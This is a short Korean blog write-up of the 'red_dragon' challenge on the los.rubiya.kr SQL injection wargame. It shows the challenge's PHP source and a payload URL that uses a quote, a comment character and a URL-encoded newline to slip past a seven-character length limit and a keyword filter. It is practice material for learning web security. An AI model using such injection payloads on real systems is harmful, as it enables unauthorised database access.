일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- 정보보호병 후기
- 인턴 지원
- mysql
- Layered Architecture
- Forensic 절차
- 메모리 포랜식
- frontend
- jsp
- DBMS
- Database
- 네이버 인턴
- EER
- spring
- 3단계 지역 DB
- 소프트웨어 개발보안 경진대회
- 소개딩
- 동읍면 DB
- riceteacatpanda
- PyAmdecoder
- Django
- react
- 행정지역 DB
- restapi
- SessionAttribute
- ㅁㅇㅂ??ㅇㅈㄷ ㅎㅇㅌ...
- webhacking 처음
- JSTL
- reversing.kr
- 인턴 후기
- 방명록 만들기
- Today
- Total
웹찢남
red_dragon-writeup 본문
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");
if(strlen($_GET['id']) > 7) exit("too long string");
$no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
$query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
$query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['no'] === $_GET['no']) solve("red_dragon");
highlight_file(__FILE__);
?>
id에 글자 수가 제한되어있다. 그래서 바로 #+%0a를 쓰기로 했다.
위의 생각으로 코드를 짜면 아래와 같은 url을 얻을 수 있다.
https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id=%27||no%3E%23&no=%0a100000000
이를 사용해 코드를 짜면 CLEAR!!!
'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글
frankenstein-writeup (0) | 2020.01.29 |
---|---|
blue_dragon-writeup (0) | 2020.01.29 |
green_dragon-writeup (0) | 2020.01.29 |
evil_wizard-writeup (0) | 2020.01.29 |
hell_fire-writeup (0) | 2020.01.29 |